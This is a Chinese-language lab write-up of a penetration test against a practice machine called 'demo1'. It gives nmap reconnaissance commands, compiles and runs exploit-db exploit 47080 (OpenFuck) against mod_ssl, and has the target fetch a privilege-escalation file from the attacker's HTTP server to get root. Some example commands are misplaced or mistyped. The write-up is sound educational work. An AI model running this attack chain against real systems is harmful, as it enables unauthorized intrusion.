demo_1打靶

1.9k words

第 1 次打靶实验:对demo1进行靶机渗透测试并获得 root 权限


一、实验目的

  • 取得目标靶机的 root 权限。
  • 使用主机发现、端口扫描等攻击手段。

二、实验内容

1) 主机发现

首先执行命令:

1
nmap -sn -iL ranges.txt -oA pingsweep -PE

由此可以得到目标主机地址大概率就是 10.0.2.7
(也可以使用 apr-scan -l 进行扫描)

也可以通过 grep 使输出更简洁好看:

命令:

1
2
grep "Up" pingsweep.gnmap
grep "Up" pingsweep.gnmap | cut -d " " -f2 > targets.txt


2) 端口发现与扫描

快速端口扫描:

1
nmap -Pn -n -p 22,25,53,80,443,445,1433,3306,3389,5800,5900,8080,8443 -iL targets.txt -oA quick-sweep

10.0.2.7 的所有端口进行扫描(进一步验证是否是靶机):

1
nmap -p- 10.0.2.7

发现开放端口里有 Web 服务 → 进一步确认它就是我们的靶机。
然后对靶机进行服务探测来确定每个端口的服务类型与版本:

1
nmap -p22,80,111,139,443,32768 -sV 10.0.2.7

扫描结果中几个可能存在问题的组件:

  1. Apache 1.3.20
  2. mod_ssl 2.8.4
  3. OpenSSL 0.9.6b

3) 去 exploit-db 找 exp

访问 https://www.exploit-db.com/ 搜索 Apache 1.3.20mod_ssl 2.8.4(这里以 mod_ssl 为例):

发现我们的 Apache 1.3.20 满足搜索结果中的第一个:
Apache mod_ssl < 2.8.7 OpenSSL - ‘OpenFuckV2.c’ Remote Buffer Overflow (2)

可以在网站下载漏洞利用代码(编号 47080),也可以使用 Kali 自带 exploit-db 离线库

1
searchsploit mod-ssl

使用以下命令定位或复制漏洞利用代码:

1
2
3
locate 47080.c
# 或
searchexploit -m 47080

(在使用漏洞代码之前要检查代码是否安全)


4) 编译执行 exp,完成攻击

47080.c 开头给出了需要安装的库与编译命令,按提示操作:

1
2
apt-get install libssl-dev
gcc -o 47080 47080.c -lcrypto

编译成功后执行:

1
./47080

如下图,工具给出使用方法;target 需要根据 nmap 得到的系统与 Apache 版本,并参考 Supported Offset 选择:

通过前面的信息收集可知系统为 Red Hat。可以直接查找:

或用 grep 进行筛选(示例命令):

1
2
apt-get install libssl-dev
gcc -o 47080 47080.c -lcrypto

0x6a0x6b 中选一个即可(先用 0x6a 不行,0x6b 成功)。

执行攻击命令:

1
./47080 0x6b 10.0.2.7 443 -c 40

若未成功,原因可能是靶机无法与下载提权脚本的网站建立 SSL 连接:

在 Kali 上可成功下载,因此先在 Kali 下载 ptrace-kmod.c

1
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

接着在 Kali 上起一个简单的 HTTP 服务(示意):

在新终端执行 ./47080 0x6b 10.0.2.7 443 -c 40,然后在靶机侧访问 Kali 并下载提权脚本:

1
wget http://10.0.2.4/ptrace-kmod.c


下载完成后 exit 退出,再次执行前述脚本。当出现“+”时输入:

1
whoami

若输出 root,说明已拿到 root 权限,渗透测试结束!


三、实验结果

通过攻击机 Kali Linux 对靶机 demo 1 进行渗透测试,并成功获得 root 权限:


四、实验中遇到的问题及解决方案

问题: 靶机与下载提权脚本的网站无法建立 SSL 连接。
解决: 在 Kali 上先下载提权脚本并开启简易 HTTP 服务,然后让靶机从 Kali 下载。

示例命令:

1
2
echo '#!/bin/sh' > test
echo 'curl --head --silent https://www.nju.edu.cn' >> test

五、实验的启示/总结

启示:
先把端口与服务扫全并尝试其行为(别只看版本);拿到低权限 shell 后再提权。文件下载失败时,可先在本机下载好,再用 Python 简易 HTTP 服务让靶机来取。


Comments